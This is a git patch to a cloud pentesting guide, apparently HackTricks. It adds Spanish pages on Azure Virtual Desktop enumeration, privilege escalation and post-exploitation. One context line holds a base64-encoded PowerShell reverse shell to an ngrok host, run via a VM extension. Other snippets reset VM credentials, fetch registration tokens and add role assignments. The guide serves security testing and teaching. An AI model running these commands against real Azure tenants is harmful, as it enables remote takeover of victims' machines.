From 0c9c55da48aa802cb187d9e9e499a6e45dd37792 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 26 Feb 2025 16:09:45 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az --- src/SUMMARY.md | 3 +- .../az-virtual-desktop-post-exploitation.md | 21 +++ .../az-virtual-desktop-privesc.md | 24 ++-- ...az-virtual-machines-and-network-privesc.md | 18 ++- .../az-services/az-virtual-desktop.md | 131 +++++++++++------- 5 files changed, 134 insertions(+), 63 deletions(-) create mode 100644 src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 17ab8f63d..54f1ce76a 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -454,7 +454,7 @@ - [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md) - [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md) - [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md) - - [Az - CosmosDB](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md) + - [Az - CosmosDB Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md) - [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md) - [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md) - [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md) @@ -465,6 +465,7 @@ - [Az - Service Bus Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md) - [Az - Table Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md) - [Az - SQL Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md) + - [Az - Virtual Desktop Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md) - [Az - VMs & Network Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md) - [Az - Privilege Escalation](pentesting-cloud/azure-security/az-privilege-escalation/README.md) - [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md) diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md new file mode 100644 index 000000000..bd8afcf90 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md @@ -0,0 +1,21 @@ +# Az - VMs & Network Post Exploitation + +{{#include ../../../banners/hacktricks-training.md}} + +## Escritorio Virtual + +Para más información sobre Escritorio Virtual, consulta la siguiente página: + +{{#ref}} +../az-services/az-virtual-desktop.md +{{#endref}} + +### Técnicas comunes + +- Sobrescribir un **paquete MSIX de la cuenta de almacenamiento** para obtener RCE en cualquier VM que use esa aplicación. +- En un remoteapp, es posible cambiar el **ruta del binario a ejecutar**. +- **Escapar de aplicaciones** a un shell para obtener RCE. +- Cualquier ataque de post explotación y persistencia desde **Azure VMs.** +- Es posible **configurar un script para ser ejecutado** en el pool para aplicar configuraciones personalizadas. + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-desktop-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-desktop-privesc.md index e03a7cd05..c3792abcb 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-desktop-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-desktop-privesc.md @@ -4,14 +4,24 @@ ## Azure Virtual Desktop Privesc +Para más información sobre Azure Virtual Desktop consulta: + +{{#ref}} +../az-services/az-virtual-desktop.md +{{#endref}} + + ### `Microsoft.DesktopVirtualization/hostPools/retrieveRegistrationToken/action` Puedes recuperar el token de registro utilizado para registrar máquinas virtuales dentro de un grupo de hosts. ```bash az desktopvirtualization hostpool retrieve-registration-token -n testhostpool -g Resource_Group_1 ``` -### ("Microsoft.Authorization/roleAssignments/read", "Microsoft.Authorization/roleAssignments/write") && ("Microsoft.Compute/virtualMachines/read","Microsoft.Compute/virtualMachines/write","Microsoft.Compute/virtualMachines/extensions/read","Microsoft.Compute/virtualMachines/extensions/write") +### Microsoft.Authorization/roleAssignments/read, Microsoft.Authorization/roleAssignments/write -Con estos permisos, puedes agregar una asignación de usuario al grupo de Aplicaciones, lo cual es necesario para acceder a la máquina virtual del escritorio virtual. +> [!WARNING] +> Un atacante con estos permisos podría hacer cosas mucho más peligrosas que esta. + +Con estos permisos, puedes agregar una asignación de usuario al grupo de Aplicación, que es necesaria para acceder a la máquina virtual del escritorio virtual: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.DesktopVirtualization/applicationGroups//providers/Microsoft.Authorization/roleAssignments/?api-version=2022-04-01" \ @@ -22,12 +32,6 @@ az rest --method PUT \ } }' ``` -Además, puedes cambiar el usuario y la contraseña de la máquina virtual para acceder a ella. -```bash -az vm user update \ ---resource-group \ ---name \ ---username \ ---password -``` +Tenga en cuenta que, para que un usuario pueda acceder a un Escritorio o una aplicación, también necesita el rol `Virtual Machine User Login` o `Virtual Machine Administrator Login` sobre la VM. + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md index f72120672..f51801034 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md @@ -65,7 +65,7 @@ az vm extension set \ --protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}' ``` -- Ejecutar shell inverso desde un archivo +- Ejecutar shell inverso desde archivo ```bash az vm extension set \ --resource-group \ @@ -155,9 +155,9 @@ Set-AzVMDscExtension `
-Hybrid Runbook Worker +Trabajador de Runbook Híbrido -Esta es una extensión de VM que permitiría ejecutar runbooks en VMs desde una cuenta de automatización. Para más información, consulta el [Automation Accounts service](../az-services/az-automation-account/index.html). +Esta es una extensión de VM que permitiría ejecutar runbooks en VMs desde una cuenta de automatización. Para más información, consulta el [servicio de Cuentas de Automatización](../az-services/az-automation-account/index.html).
@@ -343,12 +343,22 @@ az vm identity assign \ /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \ /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2 ``` -Luego, el atacante necesita haber **comprometido de alguna manera la VM** para robar tokens de las identidades administradas asignadas. Consulta **más información en**: +Entonces, el atacante necesita haber **comprometido de alguna manera la VM** para robar tokens de las identidades administradas asignadas. Consulta **más información en**: {{#ref}} https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm {{#endref}} +### "Microsoft.Compute/virtualMachines/read","Microsoft.Compute/virtualMachines/write","Microsoft.Compute/virtualMachines/extensions/read","Microsoft.Compute/virtualMachines/extensions/write" + +Estos permisos permiten cambiar el usuario y la contraseña de la máquina virtual para acceder a ella: +```bash +az vm user update \ +--resource-group \ +--name \ +--username \ +--password +``` ### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action Según la [**documentación**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), este permiso te permite gestionar el sistema operativo de tu recurso a través de Windows Admin Center como administrador. Así que parece que esto da acceso al WAC para controlar las VMs... diff --git a/src/pentesting-cloud/azure-security/az-services/az-virtual-desktop.md b/src/pentesting-cloud/azure-security/az-services/az-virtual-desktop.md index f854a12ae..83b9c610a 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-virtual-desktop.md +++ b/src/pentesting-cloud/azure-security/az-services/az-virtual-desktop.md @@ -9,56 +9,99 @@ Virtual Desktop es un **servicio de virtualización de escritorio y aplicaciones ### Grupos de Hosts Los grupos de hosts en Azure Virtual Desktop son colecciones de máquinas virtuales de Azure configuradas como hosts de sesión, proporcionando escritorios virtuales y aplicaciones a los usuarios. Hay dos tipos principales: -- **Grupos de hosts personales**, donde cada máquina virtual está dedicada a un solo usuario, con sus propios entornos. -- **Grupos de hosts agrupados**, donde múltiples usuarios comparten recursos en cualquier host de sesión disponible. Tiene un límite de sesión configurable y una configuración de host de sesión permite a Azure Virtual Desktop automatizar la creación de hosts de sesión basados en una configuración. -Cada grupo de hosts tiene un **token de registro** que se utiliza para registrar máquinas virtuales dentro de un grupo de hosts. +- **Grupos de hosts personales**, donde cada máquina virtual está dedicada a un solo usuario. +- Se puede configurar para que el **administrador asigne** usuarios específicos a las VMs o que esto se haga **automáticamente**. +- Esto es ideal para personas con cargas de trabajo intensivas, ya que cada persona tendrá su propia VM. Además, podrán almacenar archivos y configurar ajustes en el disco del SO y estos persistirán ya que **cada usuario tiene su propia VM (host)**. -### Grupos de Aplicaciones & Espacio de Trabajo -Los grupos de aplicaciones **controlan el acceso de los usuarios** a un escritorio completo o a conjuntos específicos de aplicaciones disponibles en los hosts de sesión dentro de un grupo de hosts. Hay dos tipos: -- **Grupos de aplicaciones de escritorio**, que dan a los usuarios acceso a un escritorio completo de Windows (disponible tanto con grupos de hosts personales como agrupados). -- **Grupos de RemoteApp**, que permiten a los usuarios acceder a aplicaciones individuales publicadas (disponible solo con grupos de hosts agrupados). -Un grupo de hosts puede tener un grupo de aplicaciones de escritorio, pero múltiples grupos de RemoteApp. Los usuarios pueden ser asignados a múltiples grupos de aplicaciones en diferentes grupos de hosts. Si un usuario está asignado a grupos de escritorio y RemoteApp dentro del mismo grupo de hosts, solo verá recursos del tipo de grupo preferido establecido por los administradores. +- **Grupos de hosts agrupados**, donde múltiples **usuarios comparten recursos** en hosts de sesión disponibles. +- Es posible configurar un **número máximo de usuarios** (sesiones) por host. +- Es posible **agregar VMs manualmente** utilizando claves de registro, o **permitir que Azure escale automáticamente** el número de hosts sin tener la opción de agregar VMs usando la clave de registro. No es posible escalar automáticamente VMs para grupos personales. +- Para persistir archivos en las sesiones de los usuarios, es necesario usar **FSlogix**. -Un **espacio de trabajo** es una **colección de grupos de aplicaciones**, permitiendo a los usuarios acceder a los escritorios y grupos de aplicaciones asignados a ellos. Cada grupo de aplicaciones debe estar vinculado a un espacio de trabajo, y solo puede pertenecer a un espacio de trabajo a la vez. +### Hosts de Sesión -### Características Clave -- **Creación de VM Flexible**: Crear máquinas virtuales de Azure directamente o agregar máquinas virtuales locales de Azure más tarde. -- **Características de Seguridad**: Habilitar Trusted Launch (arranque seguro, vTPM, monitoreo de integridad) para una seguridad avanzada de VM (se necesita una red virtual). Puede integrar Azure Firewall y controlar el tráfico a través de Grupos de Seguridad de Red. -- **Unión a Dominio**: Soporte para uniones de dominio de Active Directory con configuraciones personalizables. -- **Diagnósticos y Monitoreo**: Habilitar Configuraciones de Diagnóstico para transmitir registros y métricas a Log Analytics, cuentas de almacenamiento o hubs de eventos para monitoreo. -- **Plantillas de imagen personalizadas**: Crear y gestionarlas para usar al agregar hosts de sesión. Agregar fácilmente personalizaciones comunes o sus propios scripts personalizados. -- **Registro de Espacio de Trabajo**: Registrar fácilmente grupos de aplicaciones de escritorio predeterminados a nuevos o existentes espacios de trabajo para una gestión simplificada del acceso de usuarios. +Estos son las **VMs a las que los usuarios se conectarán.** + +- Si se seleccionó el escalado automático, se creará una plantilla con las **características de los hosts** que deben ser creados para el grupo. +- Si no, al crear el grupo de hosts es posible indicar las **características y el número de VMs** que deseas crear y Azure las creará y agregará por ti. + +Las principales características para **configurar las VMs** son: + +- El **prefijo** del nombre de las nuevas VMs +- El **tipo de VM**: Esto puede ser “máquina virtual de Azure” (para usar VMs de Azure) o “máquina virtual local de Azure” que permite que los hosts se desplieguen en las instalaciones o en el borde. +- La ubicación, zonas, opciones de seguridad de la VM, imagen, CPU, memoria, tamaño del disco… +- La **VNet, grupo de seguridad y puertos** a exponer a Internet +- Es posible establecer credenciales para unirse automáticamente a un **dominio AD**, o usar el directorio de Entra ID +- Si es Entra ID, es posible **inscribir automáticamente la nueva VM en Intune** +- Es necesario establecer un **nombre de usuario y contraseña de administrador** a menos que Azure escale los hosts, en ese caso se debe configurar un **secreto con el nombre de usuario y otro con la contraseña** +- Es posible **configurar un script para ser ejecutado** para configuraciones personalizadas + +### Grupos de Aplicaciones + +Los **grupos de aplicaciones** controlan el acceso de los usuarios a un escritorio completo o a conjuntos específicos de aplicaciones disponibles en los hosts de sesión dentro de un grupo de hosts. + +Hay dos tipos de grupos de aplicaciones: + +- **Grupos de aplicaciones de escritorio**, que dan a los usuarios acceso a escritorios completos de Windows y aplicaciones adjuntas. +- **Grupos de RemoteApp**, que permiten a los usuarios acceder a aplicaciones individuales. +- No es posible asignar este tipo de grupo de aplicaciones a un Grupo Personal. +- Es necesario indicar la ruta al binario a ejecutar dentro de la VM. + +Un Grupo Agrupado puede tener **un grupo de aplicaciones de escritorio** y **múltiples grupos de RemoteApp** y los usuarios pueden ser asignados a múltiples grupos de aplicaciones en diferentes grupos de hosts. + +Cuando a un usuario se le **otorga acceso**, se le da el rol **`Desktop Virtualization User`** sobre el grupo de aplicaciones. + +### Espacios de Trabajo y Conexiones + +Un **espacio de trabajo** es una colección de grupos de aplicaciones. + +Para **conectarse** al escritorio o aplicaciones asignadas, es posible hacerlo desde [https://windows365.microsoft.com/ent#/devices](https://windows365.microsoft.com/ent#/devices) +Y hay otros métodos descritos en [https://learn.microsoft.com/en-us/azure/virtual-desktop/users/connect-remote-desktop-client](https://learn.microsoft.com/en-us/azure/virtual-desktop/users/connect-remote-desktop-client) + +Cuando un usuario accede a su cuenta, se le **presentará separado por espacios de trabajo todo a lo que tiene acceso**. Por lo tanto, es necesario agregar **cada grupo de aplicaciones a un espacio de trabajo** para que los accesos definidos sean visibles. + +Para que un usuario pueda acceder a un escritorio o una aplicación, también necesita el rol **`Virtual Machine User Login`** o **`Virtual Machine Administrator Login`** sobre la VM. + +### Identidades Administradas + +No es posible asignar identidades administradas a grupos de hosts, por lo que las VMs creadas dentro de un grupo las tendrán. +Sin embargo, es posible **asignar identidades administradas de sistema y de usuario a las VMs** y luego acceder a los tokens desde los metadatos. De hecho, después de lanzar los grupos de hosts desde la web, las 2 VMs generadas tienen habilitada la identidad administrada asignada al sistema (aunque no tiene ningún permiso). ### Enumeración ```bash az extension add --name desktopvirtualization -# List HostPool of a Resource group -az desktopvirtualization hostpool list --resource-group +# List HostPools +az desktopvirtualization hostpool list + +# List Workspaces +az desktopvirtualization workspace list # List Application Groups -az desktopvirtualization applicationgroup list --resource-group -# List Application Groups By Subscription -az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.DesktopVirtualization/applicationGroups?api-version=2024-04-03" +az desktopvirtualization applicationgroup list + # List Applications in a Application Group az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/applicationGroups/{applicationGroupName}/applications?api-version=2024-04-03" + +# Check if Desktops are enabled +az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/applicationGroups/{applicationGroupName}/desktops?api-version=2024-04-03" + # List Assigned Users to the Application Group az rest \ --method GET \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.DesktopVirtualization/applicationGroups//providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01" \ | jq '.value[] | select((.properties.scope | ascii_downcase) == "/subscriptions//resourcegroups//providers/microsoft.desktopvirtualization/applicationgroups/")' +# List hosts +az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/sessionHosts?api-version=2024-04-03" -# List Workspace in a resource group -az desktopvirtualization workspace list --resource-group -# List Workspace in a subscription -az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.DesktopVirtualization/workspaces?api-version=2024-04-03" - -# List App Attach Package By Resource Group +# List App Attach packages az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/appAttachPackages?api-version=2024-04-03" -# List App Attach Package By Subscription -az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.DesktopVirtualization/appAttachPackages?api-version=2024-04-03" + +# List user sessions +az rest --method GET --url "https://management.azure.com/ssubscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostpools/{hostPoolName}/sessionhosts/{hostPoolHostName}/userSessions?api-version=2024-04-03" + # List Desktops az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/applicationGroups/{applicationGroupName}/desktops?api-version=2024-04-03" @@ -68,35 +111,27 @@ az rest --method GET --url "https://management.azure.com/subscriptions/{subscrip # List private endpoint connections associated with hostpool. az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/privateEndpointConnections?api-version=2024-04-03" + # List private endpoint connections associated By Workspace. az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/workspaces/{workspaceName}/privateEndpointConnections?api-version=2024-04-03" # List the private link resources available for a hostpool. az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/privateLinkResources?api-version=2024-04-03" + # List the private link resources available for this workspace. az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/workspaces/{workspaceName}/privateLinkResources?api-version=2024-04-03" - -# List sessionHosts/virtual machines. -az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/sessionHosts?api-version=2024-04-03" - -# List start menu items in the given application group. -az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/applicationGroups/{applicationGroupName}/startMenuItems?api-version=2024-04-03" - -# List userSessions. -az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/sessionHosts/{sessionHostName}/userSessions?api-version=2024-04-03" -# List userSessions By Host Pool -az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/userSessions?api-version=2024-04-03" - ``` -### Conexión - -Para conectarte al escritorio virtual a través de la web, puedes acceder a https://client.wvd.microsoft.com/arm/webclient/ (el más común), o https://client.wvd.microsoft.com/webclient/index.html (clásico) -Hay otros métodos que se describen aquí [https://learn.microsoft.com/en-us/azure/virtual-desktop/users/connect-remote-desktop-client?tabs=windows](https://learn.microsoft.com/en-us/azure/virtual-desktop/users/connect-remote-desktop-client?tabs=windows) - ## Privesc -{{#ref}} -../az-privilege-escalation/az-virtual-desktop-privesc.md +{{#ref}} +../az-privilege-escalation/az-virtual-desktop-privesc.md {{#endref}} +## Post Exploitation & Persistence + +{{#ref}} +../az-post-exploitation/az-virtual-desktop-post-exploitation.md +{{#endref}} + + {{#include ../../../banners/hacktricks-training.md}}